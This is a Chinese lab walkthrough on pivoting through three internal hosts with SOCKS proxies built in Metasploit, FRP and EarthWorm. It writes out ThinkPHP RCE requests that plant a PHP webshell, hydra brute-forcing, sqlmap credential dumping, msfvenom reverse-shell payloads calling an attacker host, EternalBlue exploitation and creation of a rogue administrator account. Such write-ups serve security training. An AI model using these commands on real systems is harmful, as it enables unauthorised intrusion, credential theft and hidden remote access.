socks代理实战

article/2025/9/27 8:39:00

文章目录

  • Socks代理实战
    • Socks代理简介
    • Socks代理工具
    • Socks代理实战-MSF
      • 渗透场景
      • Target1
      • Target2
      • Target3
    • Socks代理实战-FRP
      • Target1
      • Target2
      • Target3
    • Socks代理实战-EW
      • EW使用简介
      • EW正反向Socks代理
      • EW创建一层Socks代理
      • 二级级联本地Socks
      • EW创建二层Socks代理
      • 三级级联的本地Socks
      • EW创建三层Socks代理

Socks代理实战

Socks代理简介

  • 什么是socks

SOCKS是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。

根据OSI模型,SOCKS是会话层的协议,位于表示层与传输层之间。

使用TCP协议传输数据,因而不提供如传递 ICMP 信息之类的网络层网关服务。

osi参考模型:https://www.cnblogs.com/qishui/p/5428938.html

现今大多组织的网络架构,利用网络防火墙将组织内部的网络结构与外部网络如 Internet 有效地隔离开来。这些防火墙系统通常以应用层网关的形式工作在网络之间,提供受控的 TELNET、FTP、SMTP等的接入。

而SOCKS则提供一个通用框架来使这些协议安全透明地穿过防火墙。

  • 什么是socks代理
  1. 被代理端与代理服务器通过SOCKS4/5代理协议进行通讯;
  2. SOCKS4是对HTTP代理协议的加强,它不仅代理HTTP协议,而是对所有向外的连接进行代理,没有协议限制;
  3. SOCKS5对前一版本做了进一步扩展,增加了支持UDP代理和身份验证功能;
  4. SOCKS5采用地址解析方案 (addressing scheme) 以支持域名和 IPV6 地址解析。

使用Socks代理:

  1. SOCKS服务器的IP地址
  2. SOCKS服务所在端口
  3. SOCKS服务是否需要身份验证

Socks代理工具

  • EarthWorm

http://rootkiter.com/EarthWorm/

EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设
和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。

  • FRP

https://github.com/fatedier/frp

frp 是一个可用于内网穿透的高性能的反向代理应用

  • ProxyChains

http://proxychains.sourceforge.net/

关于ProxyChains工具:

  1. 它是一个代理工具。
  2. 最新版本:3.1
  3. 专用OS:Linux和其他Unices。
  4. 允许TCP和DNS通过代理隧道。
  5. 支持HTTP、SOCKS4和SOCKS5代理服务器。
  6. 不同的代理类型可以混合在同一链中。
  7. 代理链:用户定义的代理链列表。

可用性:

  1. 通过代理服务器运行任何程序。
  2. 从限制性防火墙后面访问互联网。
  3. 隐藏你的IP
  4. 通过代理服务器运行SSH、telnet、wget、ftp、apt、vnc、nmap。
    5, 从外部通过反向代理访问内联网(192.168../10..)。
  • Other
reDuh:https://github.com/sensepost/reDuh
reGeorg:https://github.com/sensepost/reGeorg
sSocks:https://sourceforge.net/projects/ssocks/
SocksCap64:http://www.sockscap64.com
Proxifier:https://www.proxifier.com/

Socks代理实战-MSF

渗透场景

Target1

  • 信息收集
nmap -A -T4 -p- --script vuln 192.168.78.66开放端口:21/22/80/111/888/3306/8888
操作系统:Linux

  • 分析利用
21 / 22端口:弱口令爆破
hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.1.195 ftp
hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.1.195 ssh3306端口:不允许远程IP连接8888端口:宝塔登录页面80端口:Thinkphp v5.0存在远程命令执行漏洞,通过命令执行写入一句话,可GetShell。/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[c]);?>
  • 主机信息收集
ifconfig:发现存在192.168.22.0/24的内网网段。探测此网段存活主机,发现存活主机 192.168.22.22

#!/bin/bash
for num in {1..254};doip=192.168.22.$numping -c1 $ip >/dev/null 2>&1if [ $? = 0 ];thenecho "$ip" Okelseecho "$ip" Nofidone
@echo off
chcp 65001>nul
echo 正在扫描。。。。。。
for /L %%P in (1,1,254) do @ping -w 10 -n 1 192.168.78.%%P | findstr TTL= >>ip.txt
echo 扫描结束,按任意键结束窗口!
pause>nul
  • 建立Socks代理
  1. 反弹target1的shell到msf
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.78.117 lport=6666 R > mingy.phpmsfvenom -p  linux/x64/meterpreter_reverse_tcp lhost=192.168.78.117 lport=6667 -f elf > mingy.elf
  1. 上传到target1的tmp目录下
chmod 777 mingy.elf
./mingy.elf
  1. 获得target1的meterpreter shell后,添加到192.168.22网段的路由
run autoroute -s 192.168.22.0/24
run autoroute -p
  1. 使用msf的socks5模块建立socks服务,并配置proxychains代理
msf5 > use auxiliary/server/socks5
msf5 auxiliary(server/socks5) > run
vim /etc/proxychains.confsocks5 127.0.0.1 1080

Target2

  • 信息收集
proxychains nmap -sT -Pn -p- -n -T4 192.168.22.22开放端口:21/22/80/3306/8888
操作系统:linux

  • 分析利用
21 / 22 / 3306端口:弱口令爆破
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.22.22 ftp
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.22.22 ssh
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.22.22 mysql8888端口:宝塔登录页面80端口:bagecms(sql注入,任意文件编辑漏洞)proxychains curl 192.168.22.22<!-- Hint:SQL注入点:/index.php?r=vul&keyword=1>proxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword
proxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword --dbs[*] bagecms
[*] information_schema
[*] testproxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword -D bagecms --tables
proxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword -D bagecms -T bage_admin --dump得到后台登录账号密码为:admin/123qwe
后台登录地址:http://192.168.22.22/index.php?r=admini/public/login任意文件编辑漏洞getshell:
http://192.168.22.22/index.php

  • 配置Socks代理连接Shell

  • 主机信息收集
ifconfig:发现存在192.168.33.0/24的内网网段。探测此网段存活主机:发现存活主机192.168.33.33

  • 建立socks代理
  1. 反弹target2的shell到msf
msfvenom -p  linux/x64/shell_bind_tcp lport=6668 -f elf > mingy2.elf
  1. 上传到target2的tmp目录并执行
chmod 777 mingy2.elf
./mingy2.elf
  1. 反弹回target2的meterpreter shell之后,添加到33网段的路由
run autoroute -s 192.168.33.0/24
run autoroute -p

Target3

  • 信息收集
proxychains3 nmap -sT -Pn -p- -n -T4 192.168.33.33开放端口:135/139/445/3389
操作系统:Windows

  • 分析利用
445端口:ms17-010检测use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.33.33
msf5 auxiliary(scanner/smb/smb_ms17_010) > exploit[+] 192.168.33.33:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.33.33:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed利用use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.33.33
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploituse exploit/windows/smb/ms17_010_psexec
msf5 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.33.33
msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/x64/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_psexec) > set LPORT 4445
msf5 exploit(windows/smb/ms17_010_psexec) > exploit -j

3389端口:远程桌面连接添加管理员用户:
net user test test123 /add
net localgroup administrators test /add查看管理员用户:
net localgroup administrators

Socks代理实战-FRP

Target1

  1. VPS:47.101.214.95
./frps -c frps_vps.ini

cat frps_vps.ini[common]
bind_port = 7000

  1. Target1:192.168.1.195
./frpc -c frpc_1.ini
cat frpc_1.ini[common]
server_addr = 47.101.214.85
server_port = 7000[socks5]
type = tcp
plugin = socks5
remote_port = 10088

Target2

  1. VPS:47.101.214.95
./frps -c frps_vps.ini
cat frps_vps.ini[common]
bind_port = 7000

  1. Target1:192.168.1.195
./frpc -c frpc_11.ini
cat frpc_11.ini[common]
server_addr = 47.101.214.85
server_port = 7000[socks5_1]
type = tcp
remote_port = 10088
plugin = socks5[socks5_to_33]
type = tcp
local_ip = 127.0.0.1
local_port = 10089
remote_port = 10090

./frps -c frps_1.ini
cat frps_1.ini[common]
bind_port = 7000

  1. Target2:192.168.33.22
./frpc -c frpc_2.ini
cat frpc_2.ini[common]
server_addr = 192.168.22.11
server_port = 7000[socks5_2]
type = tcp
plugin = socks5
remote_port = 10089

Target3

  1. VPS:47.101.214.95
./frps -c frps_vps.ini
cat frps_vps.ini[common]
bind_port = 7000
  1. Target1:192.168.1.195
./frpc -c frpc_11.ini
cat frpc_11.ini[common]
server_addr = 47.101.214.85
server_port = 7000[socks5_1]
type = tcp
remote_port = 10088
plugin = socks5[socks5_to_33]
type = tcp
local_ip = 127.0.0.1
local_port = 10089
remote_port = 10090
./frps -c frps_1.ini
cat frps_1.ini[common]
bind_port = 7000
  1. Target2:192.168.33.22
./frpc -c frpc_2.ini
cat frpc_2.ini[common]
server_addr = 192.168.22.11
server_port = 7000[socks5_2]
type = tcp
plugin = socks5
remote_port = 10089[socks5_to_333]
type = tcp
local_ip = 127.0.0.1
local_port = 10089
remote_port = 10090
./frps -c frps_3.ini
cat frps_3.ini[common]
bind_port = 7000

UTOOLS1589266211608.png

Socks代理实战-EW

EW使用简介

./ew_xxx ([-选项] [数值])*其他选项:
Eg:./ew -s ssocksd -h-s 状态设置函数。你可以从以下选项:ssocksd,rcsocks,rssocks,lcx_listen,lcx_tran,lcx_slave
-l 为服务启动打开一个端口。
-d refhost 设置反射主机地址。
-e refport 设置反射端口。
-f connhost 设置连接主机地址。
-g connport 设置连接端口。
-h help 显示帮助文本,通过添加-s参数,可以看到更详细的帮助信息。
-a about 展示有关页面的内容
-v version 显示版本。
-t usetime 设置超时的毫秒。 默认值是1000。
  • 6种模式
ssocksd - 正向代理
rcsocks - 反向代理1,流量转发
rssocks - 反向代理2,反弹socks5
lcx_listen - 反向代理1,流量转发
lcx_tran - 端口转发
lcx_slave - 端口绑定

EW正反向Socks代理

  • 正反向 SOCKS v5 服务器
  1. 正向
./ew -s ssocksd -l 1888

UTOOLS1589167468159.png

  1. 反向(反弹)
VPS:./ew_vps -s rcsocks -l 1888 -e 7788

UTOOLS1589167210951.png

Target1:./ew1 -s rssocks -d 47.101.214.85 -e 7788

UTOOLS1589167313623.png

EW创建一层Socks代理

VPS:./ew_vps -s rcsocks -l 1888 -e 7788

target1:.ew1 -s rssocks -d 47.101.214.85 -e 7788

二级级联本地Socks

  • lcx_tran 的用法

正向:

Target:
./ew -s ssocksd -l 9999VPS:
./ew -s lcx_tran -l 1888 -f 1.1.1.1 -g 9999

反向:

VPS:./ew_vps -s rcsocks -l 1888 -e 7788Target1:./ew1 -s rssocks -d 47.101.214.85 -e 7788
  • lcx_listenlcx_slave 的用法
VPS:
./ew -s lcx_listen -l 1080 -e 8888Target2:
./ew -s ssocksd -l 9999Target1
./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999

EW创建二层Socks代理

VPS:47.101.214.85./ew_vps -s lcx_listen -l 10088 -e 888

UTOOLS1589170275409.png

Target2:192.168.22.22./ew2 -s ssocksd -l 9999

UTOOLS1589170406841.png

UTOOLS1589170446435.png

Target1:192.168.1.195./ew1 -s lcx_slave -d 47.101.214.85 -e 888 -f 192.168.22.22 -g 9999

UTOOLS1589170585883.png

UTOOLS1589274785446.png

UTOOLS1589173356675.png

三级级联的本地Socks

./ew -s rcsocks -l 1080 -e 8888
./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
./ew -s lcx_listen -l 9999 -e 7777
./ew -s rssocks -d 127.0.0.1 -e 7777

数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

EW创建三层Socks代理

  • VPS:47.101.214.85
./ew_vps -s rcsocks -l 10090 -e 6666

UTOOLS1589275608023.png

  • Target2
./ew2 -s lcx_listen -l 7778 -e 7777

UTOOLS1589275691576.png

  • Target3
./ew_for_win.exe -s rssocks -d 192.168.33.22 -e 7777

UTOOLS1589275659175.png

  • Target1
./ew1 -s lcx_slave -d 47.101.214.85 -e 6666 -f 192.168.22.22 -g 7778

UTOOLS1589275737488.png

出处


http://chatgpt.dhexx.cn/article/0FEcWN6i.shtml

相关文章

Socket(四)

文章目录 1. 服务器Socket简介2. 使用ServerSocket3. 用Socket写入服务器4. 关闭服务器Socket 1. 服务器Socket简介 博客Socket&#xff08;一&#xff09;&#xff5e;Socket&#xff08;二&#xff09;从客户端的角度讨论了Socket&#xff0c;客户端就是向监听连接的服务器打…

CobaltStrike建立Socks4代理

目录 Socks4代理建立 ProxyChains的使用 Socks4代理建立 当我们的被控主机是位于公网和内网边界的服务器时&#xff0c;我们想利用该主机继续对内网的主机进行渗透&#xff0c;比如经过端口扫描我们发现被控机器的同一网段有一主机开放了80端口&#xff0c;我们想在本地访问…

Java常用工具类

学习内容 包装类型(基本数据类型的包装类型) String字符串常用方法 StringBuffer与Stringbuilder 日期和时间处理工具类 System,Math,Random,UUID等工具类 枚举类型 File类 递归算法 目录 1.包装类型 1.1.Integer的基本用法 1.2.包装类型的使用 1.3.自动装箱与自动…

Java——Collections工具类

Collections工具类 Collections 是一个操作 Set、List 和 Map 等集合的工具类 Collections 中提供了一系列静态的方法对集合元素进行排序、查询和修改等操作&#xff0c;还提供了对集合对象设置不可变、对集合对象实现同步控制等方法。 排序操作&#xff1a;&#xff08;均为…

Spring自带的工具类

最近发现同事写了不少重复的工具类&#xff0c;发现其中很多功能&#xff0c;Spring 自带的都有。于是整理了本文&#xff0c;希望能够帮助到大家&#xff01; 目录 断言 对象、数组、集合 ObjectUtils StringUtils CollectionUtils 文件、资源、IO 流 FileCopyUtils R…

【常用工具类】Java控制台打印工具类LogUtil

文章目录 1 带分割线版2 不带分割线版3 终极版 1 带分割线版 import java.text.SimpleDateFormat; import java.util.Date;/*** W SKH 的输出工具类*/ public class LogUtil {private SimpleDateFormat simpleDateFormat new SimpleDateFormat("yyyy-MM-dd,HH:mm:ss.SSS&…

Java 对象拷贝工具类

目录 1. Spring 中的对象拷贝 2. 本工具类中的对象拷贝 2.1 拷贝对象本身&#xff08;单个&#xff09; 2.2 拷贝对象本身&#xff08;批量&#xff09; 2.3 拷贝对象属性至其他类&#xff08;单个&#xff09; 2.4 拷贝对象属性至其他类&#xff08;批量&#xff09; 4.…

Java表达式运算工具类

对于表达式的运算转换工具类&#xff0c;使用场景&#xff0c;例如前端文本框让用户输入了加减乘除运算&#xff0c;工具类智能转换。 资源下载&#xff1a;Java表达式工具类&#xff0c;用于加减乘除等智能转换-Java文档类资源-CSDN下载 例如&#xff1a; public static void…

阿里OSS工具类

参考博客&#xff1a;阿里OSS入门 bucket配置信息&#xff1a;alios.properties OSS配置文件&#xff1a;AliOSSConfig.java Data public class AliOSSConfig {private String endpoint;private String accessKeyId;private String accessKeySecret;private String bucketNam…

Guava Lists工具类

文章目录 01 概述02 Lists工具类03 文末 01 概述 Guava 是 Google 开源的一个 Java 工具库&#xff0c;里面有很多工具类&#xff0c;本文要讲的是里面的Lists工具类。 注意&#xff0c;使用Guava工具类库&#xff0c;必须先添加依赖&#xff1a; <dependency><gro…

JAVA之常用的工具类

目录 1 集合工具类 1.1 java.util.Collections 1.1.1 基本操作 1.1.2 转换线程安全集合 1.2 org.springframework.util.CollectionUtils 1.3 org.apache.commons.collections.CollectionUtils 1.4 org.apache.commons.lang.ArrayUtils 1.5 org.apache.commons.lang3.Ar…

常用的Java开发工具类

前言 在java的庞大体系中&#xff0c;其实有很多不错的小工具&#xff0c;也就是我们平常说的&#xff1a;轮子。 如果在我们的日常工作当中&#xff0c;能够将这些轮子用户&#xff0c;再配合一下idea的快捷键&#xff0c;可以极大得提升我们的开发效率。 今天我决定把一些…

工具类的详解

工具类网站 1、工具类 1.1 定义 工具类是为了提供一些通用的、某一非业务领域内的公共方法&#xff0c;不需要配套的成员变量&#xff0c;仅仅是作为工具方法被使用。所以将它做成静态方法最合适&#xff0c;不需要实例化&#xff0c;能够获取到方法的定义并调用就行。 1.2…

学习日记-安卓Package Manager和Package Installer

安装和卸载APK&#xff08;安卓应用程序包文件&#xff09;&#xff0c;运作原理。 什么是Package Manager&#xff08;包管理器&#xff09;和Package Installer&#xff08;程序安装包&#xff09;&#xff1f; APK文件保存在Android的哪个地方&#xff1f; APK文件安装过…

PackageInstaller (tv 修改安装app界面按钮及自动获取焦点)附源码分析

\packages\apps\PackageInstaller 一、一条真实的修改记录 TVOS基于的是一套板卡厂商原有的源码(mstar android8.0版本&#xff09;原生的这个app安装界面&#xff0c;存在俩个比较严重的用户体验问题&#xff0c; 1’、下面那俩按钮太小了&#xff0c;而且…

android packages/apps 加入工程,深入安卓Package Manager和Package Installer

我们每天都在安装和卸载APK(安卓应用程序包文件)&#xff0c;或许一天会有好几次&#xff0c;但是你有想过下面问题吗&#xff1f;什么是Package Manager(包管理器)和Package Installer(程序安装包)&#xff1f; APK文件保存在Android的哪个地方&#xff1f; APK文件安装过程的…

RK3568平台开发系列讲解(安卓篇)PackageInstaller(应用安装)流程介绍

文章目录 <font color=#0990d9>一、PackageInstaller入口<font color=#0990d9>二、InstallStart<font color=#0990d9>三、InstallStaging<font color=#0990d9>四、PackageInstallerActivity<font color=#0990d9>五、InstallInstalling<font c…

Android9.0 PM机制系列(一)PackageInstaller初始化解析

前言 包管理机制是Android中的重要机制&#xff0c;是应用开发和系统开发需要掌握的知识点之一。 包指的是Apk、jar和so文件等等&#xff0c;它们被加载到Android内存中&#xff0c;由一个包转变成可执行的代码&#xff0c;这就需要一个机制来进行包的加载、解析、管理等操作&…

PackageInstaller源码分析(一)

本篇博客分析PackageInstaller源码目的是分析Android权限机制&#xff0c;Android App的权限在应用被安装时&#xff0c;用户选择授予或者拒绝。所以&#xff0c;分析Android权限机制源码的第一步分析应用程序安装时的行为。   此次阅读源码旨在解决的问题&#xff1a;Andro…

A*B problem(FFT)

A*B problem&#xff08;FFT&#xff09; 设两个多项式\(A(x)\)和\(B(x)\)&#xff0c;它们的系数镜像反转一下&#xff0c;得到的多项式是\(A(x)\)和\(B(x)\)。那么\(C(x)A(x)*B(x)\)和\(C(x)A(x)*B(x)\)的系数也是镜像反转的。这个&#xff0c;&#xff0c;感性理解一下吧。 …